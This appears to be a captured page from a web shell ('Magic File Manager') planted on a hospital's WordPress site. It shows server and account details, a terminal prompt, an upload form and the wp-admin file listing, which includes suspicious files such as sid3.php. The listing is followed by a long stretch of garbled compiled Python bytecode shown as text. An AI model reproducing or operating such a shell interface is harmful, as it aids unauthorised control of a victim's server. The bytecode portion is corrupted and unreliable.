✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
Ë â{|jskãó —dZdZddlZddlZddlZddlZddlZddlZddlZddl m Z ddl m Z m Z mZddlmZddlmZmZdd lmZdd „ZGd „d e«Zd „Zd„Zd„Zd„Zd„ZGd„de«ZGd„de«Z Gd„de«Z!Gd„de «Z"y)zÛRefactoring framework. Used as a main program, this can refactor any number of files and/or recursively descend down directories. Imported as a module, this provides infrastructure to write your own refactoring tool. z#Guido van Rossum éN)Úchainé)ÚdriverÚtokenizeÚtoken)Ú find_root)ÚpytreeÚpygram)Ú btm_matchercóÌ—t|ggdg«}g}tj|j«D]0\}}}|j d«sŒ|r|dd}|j |«Œ2|S)zEReturn a sorted list of all available fix names in the given package.Ú*Úfix_éN)Ú __import__ÚpkgutilÚ iter_modulesÚ__path__Ú startswithÚappend)Ú fixer_pkgÚ remove_prefixÚpkgÚ fix_namesÚfinderÚnameÚispkgs ú)/usr/lib64/python3.12/lib2to3/refactor.pyÚget_all_fix_namesrsj€ä �Y  B¨¨Ó .€CØ€IÜ&×3Ñ3°C·L±LÖAш��eØ �?‰?˜6Õ "ÙØ˜A˜B�x�Ø × Ñ ˜TÕ "ð Bð Ðócó —eZdZy)Ú _EveryNodeN©Ú__name__Ú __module__Ú __qualname__©rrr!r!+ó„Ørr!cóâ—t|tjtjf«r|j€t ‚|jhSt|tj «r'|jrt|j«St ‚t|tj«r>t«}|jD]#}|D]}|jt|««ŒŒ%|Std|z«‚)zf Accepts a pytree Pattern Node and returns a set of the pattern types which will match first. z$Oh no! I don't understand pattern %s) Ú isinstancer Ú NodePatternÚ LeafPatternÚtyper!ÚNegatedPatternÚcontentÚ_get_head_typesÚWildcardPatternÚsetÚupdateÚ Exception)ÚpatÚrÚpÚxs rr/r//sÁ€ô�#œ×*Ñ*¬F×,>Ñ,>Ð?Ô@ð �8‰8Ð ÜÐ Ø—‘ˆzÐä�#”v×,Ñ,Ô-Ø �;Š;Ü" 3§;¡;Ó/Ð /ÜÐä�#”v×-Ñ-Ô.ä ‹EˆØ—”ˆAÛ�Ø—‘œ¨Ó+Õ,ñððˆä Ð:¸SÑAÓ BÐBrcóX—tjt«}g}|D]|}|jr2 t |j«}|D]}||j |«ŒŒA|j�||jj |«Œl|j |«Œ~ttjjj«tjj«D]}||j|«Œt|«S#t $r|j |«Y�Œ wxYw)z^ Accepts a list of fixers and returns a dictionary of head node type --> fixer list. )Ú collectionsÚ defaultdictÚlistÚpatternr/rr!Ú _accept_typerr Úpython_grammarÚ symbol2numberÚvaluesÚtokensÚextendÚdict)Ú fixer_listÚ head_nodesÚeveryÚfixerÚheadsÚ node_types rÚ_get_headnode_dictrJKs€ô×(Ñ(¬Ó.€JØ €EÛˆØ �=Š=ð 8Ü'¨¯ © Ó6�ó"'�IؘyÑ)×0Ñ0°Õ7ñ"'ð×!Ñ!Ð-ؘ5×-Ñ-Ñ.×5Ñ5°eÕ<à— ‘ ˜UÕ#ðôœ6×0Ñ0×>Ñ>×EÑEÓGÜ!×0Ñ0×7Ñ7ö9ˆ à�9Ñ×$Ñ$ UÕ+ð9ô � Ó Ðøôò $Ø— ‘ ˜U×#ð $ús®D Ä D)Ä(D)cóL—t|d«D�cgc] }|dz|z‘Œ c}Scc}w)zN Return the fully qualified names for fixers in the package pkg_name. FÚ.)r)Úpkg_nameÚfix_names rÚget_fixers_from_packagerOds=€ô .¨h¸Ô>ó @Ù>�ð �s‰N˜XÓ %Ø>ñ @ð@ùò @s�!có—|S©Nr&)Úobjs rÚ _identityrSks€Ø €Jrcó|‡—d}tjtj|«j«Šˆfd„}t t jtjt jh«}t«} |«\}}||vrŒ|t jk(r|rnöd}nñ|t jk(rÝ|dk(rØ|«\}}|t jk7s|dk7rn¸|«\}}|t jk7s|dk7rn•|«\}}|t jk(r|dk(r |«\}}|t jk(rT|j|«|«\}}|t jk7s|dk7rn |«\}}|t jk(rŒRnn�Œt |«S#t$r Yt |«SwxYw) NFcó.•—t‰«}|d|dfS)Nrr)Únext)ÚtokÚgens €rÚadvancez(_detect_future_features..advancersø€Ü�3‹iˆØ�1‰v�s˜1‘vˆ~ÐrTÚfromÚ __future__ÚimportÚ(Ú,)rÚgenerate_tokensÚioÚStringIOÚreadlineÚ frozensetrÚNEWLINEÚNLÚCOMMENTr1ÚSTRINGÚNAMEÚOPÚaddÚ StopIteration)ÚsourceÚhave_docstringrYÚignoreÚfeaturesÚtpÚvaluerXs @rÚ_detect_future_featuresrros‡ø€Ø€NÜ × "Ñ "¤2§;¡;¨vÓ#6×#?Ñ#?Ó @€CôôœŸ ™ ¤x§{¡{´E·M±MÐBÓ C€FÜ‹u€Hð ØÙ› ‰IˆB�Ø�V‰|ØØ”u—|‘|Ò#Ù!ØØ!%‘Ø”u—z‘zÒ! e¨v¢oÙ#›I‘ ��EØœŸ™Ò# u° Ò'<ØÙ#›I‘ ��EØœŸ™Ò# u°Ò'8ØÙ#›I‘ ��EØœŸ™’> e¨s¢lÙ '£ ‘I�B˜ØœEŸJ™JÒ&Ø—L‘L Ô'Ù '£ ‘I�B˜ØœUŸX™X’~¨°#ªØÙ '£ ‘I�B˜ð œEŸJ™JÔ&ðñ3ô8 �XÓ Ðøô ò Ø Ü �XÓ Ðð úsÁ>DF%ÆF%Æ% F;Æ:F;có—eZdZdZy)Ú FixerErrorzA fixer could not be loaded.N)r#r$r%Ú__doc__r&rrrtrt—s„Ú&rrtcó¾—eZdZddddœZdZdZdd„Zd„Zd„Zd „Z d „Z d „Z dd „Z dd „Z d„Zdd„Zd„Zd d„Zd„Zd„Z d!d„Zd"d„ZdZdZd„Zd„Zd„Zd„Zd„Zd„Zy)#ÚRefactoringToolF)Úprint_functionÚ exec_functionÚwrite_unchanged_filesÚFixrNcóÜ—||_|xsg|_|jj«|_|�|jj |«t jj«|_|jdr|jjd=n&|jdr|jjd=|jjd«|_ g|_ tjd«|_g|_d|_t%j&|jt(j*|j¬ «|_|j-«\|_|_g|_t5j6«|_g|_g|_t?|j0|j.«D]~}|j@r|j8jC|«Œ+||j.vr|j:jE|«ŒU||j0vsŒd|j<jE|«Œ€tG|j:«|_$tG|j<«|_%y) zÑInitializer. Args: fixer_names: a list of fixers to import options: a dict with configuration. explicit: a list of fixers to run even if they are explicit. NrxÚprintryÚexecrzrwF)ÚconvertÚlogger)&ÚfixersÚexplicitÚ_default_optionsÚcopyÚoptionsr2r r>ÚgrammarÚkeywordsÚgetrzÚerrorsÚloggingÚ getLoggerr€Ú fixer_logÚwroterÚDriverr rÚ get_fixersÚ pre_orderÚ post_orderÚfilesÚbmÚ BottomMatcherÚBMÚ bmi_pre_orderÚbmi_post_orderrÚ BM_compatibleÚ add_fixerrrJÚbmi_pre_order_headsÚbmi_post_order_heads)ÚselfÚ fixer_namesr…r‚rGs rÚ__init__zRefactoringTool.__init__¤sÛ€ð"ˆŒ Ø š BˆŒ Ø×,Ñ,×1Ñ1Ó3ˆŒ Ø Ð Ø �L‰L× Ñ  Ô (Ü×,Ñ,×1Ñ1Ó3ˆŒ à �<‰<Ð(Ò )Ø— ‘ ×%Ñ% gÑ.Ø �\‰\˜/Ò *Ø— ‘ ×%Ñ% fÐ-ð &*§\¡\×%5Ñ%5Ð6MÓ%NˆÔ"؈Œ Ü×'Ñ'Ð(9Ó:ˆŒ ؈ŒØˆŒ Ü—m‘m D§L¡LÜ,2¯N©NØ+/¯;©;ô8ˆŒ ð+/¯/©/Ó*;Ñ'ˆŒ˜œðˆŒ ä×"Ñ"Ó$ˆŒØˆÔØ ˆÔä˜4Ÿ?™?¨D¯N©NÖ;ˆEØ×"Ò"Ø—‘×!Ñ! %Õ(ð˜$Ÿ.™.Ñ(Ø×"Ñ"×)Ñ)¨%Õ0ؘ$Ÿ/™/Ò)Ø×#Ñ#×*Ñ*¨5Õ1ð<ô$6°d×6HÑ6HÓ#IˆÔ Ü$6°t×7JÑ7JÓ$KˆÕ!rc óÚ—g}g}|jD�]w}t|iidg«}|jdd«d}|j|j«r|t |j«d}|j d«}|jdj|D�cgc]}|j«‘Œc}«z} t||«} | |j|j«} | jr0|jd ur"||jvr|j!d |«�Œ |j#d |«| j$d k(r|j'| «�Œ@| j$d k(r|j'| «�Œbtd| j$z«‚t)j*d«} |j-| ¬«|j-| ¬«||fScc}w#t$rtd|›d|›�«d‚wxYw)aInspects the options to load the requested patterns and handlers. Returns: (pre_order, post_order), where pre_order is the list of fixers that want a pre-order AST traversal, and post_order is the list that want post-order traversal. r rLréÿÿÿÿNÚ_Úz Can't find TzSkipping optional fixer: %szAdding transformation: %sÚpreÚpostzIllegal fixer order: %rÚ run_order©Úkey)r�rÚrsplitrÚ FILE_PREFIXÚlenÚsplitÚ CLASS_PREFIXÚjoinÚtitleÚgetattrÚAttributeErrorrtr…rŒr‚Ú log_messageÚ log_debugÚorderrÚoperatorÚ attrgetterÚsort) rœÚpre_order_fixersÚpost_order_fixersÚ fix_mod_pathÚmodrNÚpartsr6Ú class_nameÚ fix_classrGÚkey_funcs rr�zRefactoringTool.get_fixersÛsÍ€ðÐØÐØ ŸK�KˆLܘ\¨2¨r°C°5Ó9ˆCØ#×*Ñ*¨3°Ó2°2Ñ6ˆHØ×"Ñ" 4×#3Ñ#3Ô4Ø#¤C¨×(8Ñ(8Ó$9Ð$:Ð;�Ø—N‘N 3Ó'ˆEØ×*Ñ*¨R¯W©WÉÓ5OÉÀA°a·g±gµiÈÑ5OÓ-PÑPˆJð XÜ# C¨Ó4� ñ˜dŸl™l¨D¯N©NÓ;ˆEØ�~Š~ $§-¡-°tÑ";Ø ¨¯ © Ñ5Ø× Ñ Ð!>ÀÔIÙà �N‰NÐ6¸Ô AØ�{‰{˜eÒ#Ø ×'Ñ'¨Ö.Ø—‘ Ò&Ø!×(Ñ(¨Ö/ä Ð!:¸U¿[¹[Ñ!HÓIÐIð/(ô2×&Ñ& {Ó3ˆØ×Ñ (ÐÔ+Ø×Ñ 8ÐÔ,Ø Ð"3Ð4Ð4ùò-6Pøô"ò XÝ ²xÁÐ!LÓMÐSWÐWð XúsÂG Â8 GÇG*có—‚)zCalled when an error occurs.r&)rœÚmsgÚargsÚkwdss rÚ log_errorzRefactoringTool.log_errors€à rcóH—|r||z}|jj|«y)zHook to log a message.N)r€Úinfo©rœrÀrÁs rr±zRefactoringTool.log_messages €á ؘ‘*ˆCØ � ‰ ×јÕrcóH—|r||z}|jj|«yrQ)r€ÚdebugrÆs rr²zRefactoringTool.log_debug s €Ù ؘ‘*ˆCØ � ‰ ×ј#Õrcó—y)zTCalled with the old version, new version, and filename of a refactored file.Nr&)rœÚold_textÚnew_textÚfilenameÚequals rÚ print_outputzRefactoringTool.print_outputs€ð rcóž—|D]H}tjj|«r|j|||«Œ6|j |||«ŒJy)z)Refactor a list of files and directories.N)ÚosÚpathÚisdirÚ refactor_dirÚ refactor_file)rœÚitemsÚwriteÚ doctests_onlyÚ dir_or_files rÚrefactorzRefactoringTool.refactorsB€ó!ˆKÜ�w‰w�}‰}˜[Ô)Ø×!Ñ! +¨u°mÕDà×"Ñ" ;°°}ÕEñ !rcó—tjdz}tj|«D]Ï\}}}|jd|«|j «|j «|D]m}|j d«rŒtj j|«d|k(sŒ;tj j||«} |j| ||«Œo|D� cgc]} | j d«rŒ| ‘Œc} |ddŒÑycc} w)zÄDescends down a directory and refactor every Python file found. Python files are assumed to have a .py extension. Files and subdirectories starting with '.' are skipped. ÚpyzDescending into %srLrN) rÐÚextsepÚwalkr²r¶rrÑÚsplitextr­rÔ) rœÚdir_namerÖr×Úpy_extÚdirpathÚdirnamesÚ filenamesrÚfullnameÚdns rrÓzRefactoringTool.refactor_dir sÑ€ô—‘˜TÑ!ˆÜ,.¯G©G°HÖ,=Ñ (ˆG�X˜yØ �N‰NÐ/°Ô 9Ø �M‰MŒOØ �N‰NÔ Û!�ØŸ™¨Õ,Ü—G‘G×$Ñ$ TÓ*¨1Ñ-°Ó7Ü!Ÿw™wŸ|™|¨G°TÓ:�HØ×&Ñ& x°¸ ÕFð "ñ )1ÓK© "¸¿ ¹ ÀcÕ8Jš2¨ÑKˆH‘Q‰Kñ->ùòLs ÃC<Ã/C<có€— t|d«} tj|j «d}|j «tj|d|d¬«5}|j«|fcddd«S#t$r}|jd||«Yd}~yd}~wwxYw#|j «wxYw#1swYyxYw) zG Do our best to decode a Python source file correctly. ÚrbzCan't open %s: %sN©NNrr5r¢©ÚencodingÚnewline) ÚopenÚOSErrorrÃrÚdetect_encodingrbÚcloser`Úread)rœrÌÚfÚerrrês rÚ_read_python_sourcez#RefactoringTool._read_python_source4sž€ð Ü�X˜tÓ$ˆAð Ü×/Ñ/°· ± Ó;¸AÑ>ˆHà �G‰GŒIÜ �W‰W�X˜s¨X¸rÕ BÀaØ—6‘6“8˜XÐ%÷CÑ Bøôò Ø �N‰NÐ.°¸#Ô >Üûð ûð �G‰G�Iúß BÐ Bús.‚ A6�"BÁB4Á6 BÁ?BÂBÂB1Â4B=có¼—|j|«\}}|€y|dz }|r^|jd|«|j||«}|js||k7r|j |||||«y|jd|«y|j ||«}|js|r.|j r"|j t|«dd|||¬«y|jd|«y)zRefactors a file.NÚ zRefactoring doctests in %szNo doctest changes in %sr )rÖrêzNo changes in %s)rór²Úrefactor_docstringrzÚprocessed_fileÚrefactor_stringÚ was_changedÚstr)rœrÌrÖr×ÚinputrêÚoutputÚtrees rrÔzRefactoringTool.refactor_fileDsÜ€à×2Ñ2°8Ó<‰ˆˆxØ ˆ=à Ø �‰ ˆÙ Ø �N‰NÐ7¸Ô BØ×,Ñ,¨U°HÓ=ˆFØ×)Ò)¨V°uª_Ø×#Ñ# F¨H°e¸UÀHÕMà—‘Ð9¸8ÕDà×'Ñ'¨¨xÓ8ˆDØ×)Ò)©d°t×7GÒ7Gà×#Ñ#¤C¨£I¨c¨r N°HØ*/¸(ð$õDð—‘Ð1°8Õã à"&§,¡,ˆD�K‰KÕ ûð  ûð #'§,¡,ˆD�K‰KÕ ús)°B C*Â(C%ÃC-Ã%C*Ã*C-Ã-D có¬—tjj«}|rZ|jd«|j |d«}|j s||k7r|j |d|«y|jd«y|j|d«}|j s|r)|jr|j t|«d|«y|jd«y)NzRefactoring doctests in stdinzzNo doctest changes in stdinzNo changes in stdin) ÚsysÚstdinrðr²rörzr÷rørùrú)rœr×rûrürýs rÚrefactor_stdinzRefactoringTool.refactor_stdinvsª€Ü— ‘ —‘Ó ˆÙ Ø �N‰NÐ:Ô ;Ø×,Ñ,¨U°IÓ>ˆFØ×)Ò)¨V°uª_Ø×#Ñ# F¨I°uÕ=à—‘Ð<Õ=à×'Ñ'¨¨yÓ9ˆDØ×)Ò)©d°t×7GÒ7GØ×#Ñ#¤C¨£I¨y¸%Õ@à—‘Ð4Õ5rcóà—t|j|j«D]}|j||«Œ|j |j |j««|j |j |j««|jj|j««}t|j««�rÎ|jjD�]™}||vsŒ ||sŒ||jtjj d¬«|j"r-||jtjj$¬«t'||«D�]}|||vr||j)|« t+|«|j.r||j.vrŒF|j1|«}|sŒZ|j3||«}|€Œo|j5|«|j«D]0}|j.sg|_|j.j7|«Œ2|jj|j««}|D]"} | |vrg|| <|| j9|| «Œ$�Œ�Œœt|j««r�ŒÎt|j|j«D]}|j;||«Œ|j<S#t,$rY�ŒƒwxYw)aÏRefactors a parse tree (modifying the tree in place). For compatible patterns the bottom matcher module is used. Otherwise the tree is traversed node-to-node for matches. Args: tree: a pytree.Node instance representing the root of the tree to be refactored. name: a human-readable name for this tree. Returns: True if the tree was modified, False otherwise. T)r§Úreverser¦)rr�r‘Ú start_treeÚ traverse_byršr›r•ÚrunÚleavesÚanyr@r�r¶r ÚBaseÚdepthÚkeep_line_orderÚ get_linenor;ÚremoverÚ ValueErrorÚfixers_appliedÚmatchÚ transformÚreplacerrBÚ finish_treerù) rœrýrrGÚ match_setÚnodeÚresultsÚnewÚ new_matchesÚfxrs rrzRefactoringTool.refactor_tree†sv€ô ˜4Ÿ>™>¨4¯?©?Ö;ˆEØ × Ñ ˜T 4Õ (ð<ð ×ј×1Ñ1°4·>±>Ó3CÔDØ ×ј×2Ñ2°D·O±OÓ4EÔFð—G‘G—K‘K § ¡ £ Ó.ˆ ä�)×"Ñ"Ó$Õ%ØŸ™Ÿ��ؘIÒ%¨)°EÓ*:à˜eÑ$×)Ñ)¬f¯k©k×.?Ñ.?ÈÐ)ÔNà×,Ò,ð" %Ñ(×-Ñ-´&·+±+×2HÑ2HÐ-ÔIä $ Y¨uÑ%5× 6˜Ø 9¨UÑ#3Ñ3Ø% eÑ,×3Ñ3°DÔ9ð%Ü% dœOð  ×.Ò.°5¸D×Ò+>Ø>@¨Ô(;Ø$(×$7Ñ$7×$>Ñ$>¸uÕ$Eð -=ð/3¯g©g¯k©k¸#¿*¹*»,Ó.G  Û+6 CØ+.°)Ñ+;Ø79¨ °#©à$-¨c¡N×$9Ñ$9¸+ÀcÑ:JÕ$Kò ,7òA!7ð(ô�)×"Ñ"Ó$Ö%ôb˜4Ÿ>™>¨4¯?©?Ö;ˆEØ × Ñ ˜d DÕ )ð<à×ÑÐøôE *ò%ò%ð%úsÆ K Ë K-Ë,K-có¸—|sy|D]R}||jD]>}|j|«}|sŒ|j||«}|€Œ,|j|«|}Œ@ŒTy)aTraverse an AST, applying a set of fixers to each node. This is a helper method for refactor_tree(). Args: fixers: a list of fixer instances. traversal: a generator that yields AST nodes. Returns: None N)r,rrr)rœr�Ú traversalrrGrrs rr zRefactoringTool.traverse_byÕs^€ñØ ÛˆDØ § ¡ Ô*�ØŸ+™+ dÓ+�ÚØŸ/™/¨$°Ó8�Cؑ؟ ™  SÔ)Ø"™ñ +ñrcó2—|jj|«|€|j|«d}|€y||k(}|j||||«|r|j d|«|j sy|r|j ||||«y|j d|«y)zR Called when a file has been refactored and there may be changes. NrzNo changes to %szNot writing changes to %s)r’rrórÎr²rzÚ write_file)rœrËrÌrÊrÖrêrÍs rr÷zRefactoringTool.processed_fileìsš€ð � ‰ ×ј(Ô#Ø Ð Ø×/Ñ/°Ó9¸!Ñ<ˆHØÐØØ˜HÑ$ˆØ ×ј( H¨h¸Ô>Ù Ø �N‰NÐ-¨xÔ 8Ø×-Ò-ØÙ Ø �O‰O˜H h°¸(Õ Cà �N‰NÐ6¸Õ Arcó`— tj|d|d¬«}|5 |j |«ddd«|j d|«d|_y#t$r}|jd||«Yd}~yd}~wwxYw#t$r}|jd||«Yd}~Œld}~wwxYw#1swYŒuxYw) zÑWrites a string to a file. It first shows a unified diff between the old text and the new text, and then rewrites the file; the latter is only done if the write option is set. Úwr¢rézCan't create %s: %sNzCan't write %s: %szWrote changes to %sT)r`rìrírÃrÖr²r�)rœrËrÌrÊrêÚfpròs rr$zRefactoringTool.write_files¤€ð Ü—‘˜ 3°À2ÔFˆBò ð DØ—‘˜Ô"÷ð �‰Ð,¨hÔ7؈� øôò Ø �N‰NÐ0°(¸CÔ @Ü ûð ûôò DØ—‘Ð3°X¸s×CÑCûð Dú÷ˆRúsE‚A�B$ŸA;Á A8ÁA3Á3A8Á; B!ÂBÂB$ÂB!Â!B$Â$B-z>>> z... c óÄ—g}d}d}d}d}|jd¬«D�] }|dz }|j«j|j«rK|�#|j |j ||||««|}|g}|j |j«} |d| }Œ}|�S|j||jz«s#|||jj«zdzk(r|j|«ŒÒ|�#|j |j ||||««d}d}|j|«�Œ|�#|j |j ||||««dj|«S)aËRefactors a docstring, looking for doctests. This returns a modified version of the input string. It looks for doctests, which start with a ">>>" prompt, and may be continued with "..." prompts, as long as the "..." is indented the same as the ">>>". (Unfortunately we can't use the doctest module's parser, since, like most parsers, it is not geared towards preserving the original source.) NrT©Úkeependsrrõr¢) Ú splitlinesÚlstriprÚPS1rBÚrefactor_doctestÚfindÚPS2Úrstriprr­) rœrûrÌÚresultÚblockÚ block_linenoÚindentÚlinenoÚlineÚis rröz"RefactoringTool.refactor_docstringsg€ðˆØˆØˆ ؈؈Ø×$Ñ$¨dÐ$×3ˆDØ �a‰KˆFØ�{‰{‹}×'Ñ'¨¯©Ô1ØÐ$Ø—M‘M $×"7Ñ"7¸¸|Ø8>Àó#JôKà%� ؘ�Ø—I‘I˜dŸh™hÓ'�ؘb˜q˜‘ØÐ$Ø—?‘? 6¨D¯H©HÑ#4Ô5ؘ6 D§H¡H§O¡OÓ$5Ñ5¸Ñ<Ò<Ø— ‘ ˜TÕ"àÐ$Ø—M‘M $×"7Ñ"7¸¸|Ø8>Àó#JôKà�Ø�Ø— ‘ ˜dÖ#ð)4ð* Ð Ø �M‰M˜$×/Ñ/°°|Ø06¸óBô Cà�w‰w�v‹ÐrcóÌ— |j|||«}|j||«r¦t|«jd¬«}|d|dz ||dz d}} | dg|dz zk(sJ| «‚|djd«s |dxxdz cc<||jz|j!d «zg}|r#||D�cgc]}||j"z|z‘Œc}z }|S#t$r†}|jjtj «r(|D]#}|j d|jd««Œ%|jd|||jj|«|cYd}~Sd}~wwxYwcc}w) zÞRefactors one doctest. A doctest is given as a block of lines, the first of which starts with ">>>" (possibly indented), while the remaining lines start with "..." (identically indented). z Source: %srõz+Can't parse docstring in %s line %s: %s: %sNTr)rr r)Ú parse_blockr3r€Ú isEnabledForrŠÚDEBUGr²r1rÃrr#rrúr+Úendswithr-Úpopr0) rœr3r6r5rÌrýròr7rÚclippeds rr.z RefactoringTool.refactor_doctestDsa€ð Ø×#Ñ# E¨6°6Ó:ˆDð × Ñ ˜d HÔ -Ü�d“)×&Ñ&°Ð&Ó5ˆCà˜y  q¡˜>¨3¨v°a©x¨y¨>�SˆGؘt˜f¨¨q©Ñ1Ò1Ð :°7Ó :Ð1Ø�r‘7×#Ñ# DÔ)Ø�B“˜4‘“ؘdŸh™hÑ&¨¯©°«Ñ3Ð4ˆEÙØ¹sÓC¹s°t˜& 4§8¡8Ñ+¨dÓ2¸sÑCÑC�؈ øô#ò Ø�{‰{×'Ñ'¬¯ © Ô6Û!�DØ—N‘N <°·±¸TÓ1BÕCð"à �N‰NÐHØ# V¨S¯]©]×-CÑ-CÀSô Jà�Lûð  üò Ds$‚CÂ/E!à EÃA;EÅEÅEcóX—|jrd}nd}|js|jd|«n4|jd|«|jD]}|j|«Œ|jr3|jd«|jD]}|j|«Œ|jr{t |j«dk(r|jd«n%|jdt |j««|jD]\}}}|j|g|¢­i|¤ŽŒyy) NÚwerez need to bezNo files %s modified.zFiles that %s modified:z$Warnings/messages while refactoring:rzThere was 1 error:zThere were %d errors:)r�r’r±rŒr‰rª)rœrAÚfileÚmessagerÀrÁrÂs rÚ summarizezRefactoringTool.summarizeasþ€Ø �:Š:؉DàˆDØ�zŠzØ × Ñ Ð4°dÕ ;à × Ñ Ð6¸Ô =ØŸ œ �Ø× Ñ  Õ&ð#à �>Š>Ø × Ñ ÐCÔ DØŸ>œ>�Ø× Ñ  Õ)ð*à �;Š;Ü�4—;‘;Ó 1Ò$Ø× Ñ Ð!5Õ6à× Ñ Ð!8¼#¸d¿k¹kÓ:JÔKØ#'§;¤;‘��T˜4Ø �× Ñ  Ð4 tÒ4¨tÓ4ñ$/ð rcó|—|jj|j|||««}t«|_|S)z³Parses a block into a tree. This is necessary to get correct line number / offset information in the parser diagnostics and embedded into the parse tree. )rÚ parse_tokensÚ wrap_toksrcr)rœr3r6r5rýs rr:zRefactoringTool.parse_blockxs4€ð �{‰{×'Ñ'¨¯©°u¸fÀfÓ(MÓNˆÜ(›{ˆÔ؈ rc#óÊK—tj|j||«j«}|D]+\}}\}}\} } } ||dz z }| |dz z } ||||f| | f| f–—Œ-y­w)z;Wraps a tokenize stream to systematically modify start/end.rN)rr_Ú gen_linesÚ__next__) rœr3r6r5rAr,rqÚline0Úcol0Úline1Úcol1Ú line_texts rrGzRefactoringTool.wrap_toks‚s}èø€ä×)Ñ)¨$¯.©.¸ÀÓ*G×*PÑ*PÓQˆÛDJÑ @ˆD�%™˜% © ¨°°yØ �V˜a‘ZÑ ˆEØ �V˜a‘ZÑ ˆEð ˜  t˜}¨u°d¨m¸YÐFÓ FñEKùs‚A!A#c#óK—||jz}||jz}|}|D]R}|j|«r|t|«d–—n,||j «dzk(rd–—nt d|›d|›�«‚|}ŒT d–—Œ­w)z–Generates lines as expected by tokenize from a list of lines. This strips the first len(indent + self.PS1) characters off each line. Nrõzline=z , prefix=r¢)r-r0rrªr1ÚAssertionError)rœr3r5Úprefix1Úprefix2Úprefixr7s rrIzRefactoringTool.gen_lines�sŒèø€ð ˜4Ÿ8™8Ñ#ˆØ˜4Ÿ8™8Ñ#ˆØˆÛˆDØ�‰˜vÔ&Øœ3˜v›;˜<Ð(Ó(ؘŸ™›¨4Ñ/Ò/Ø“ 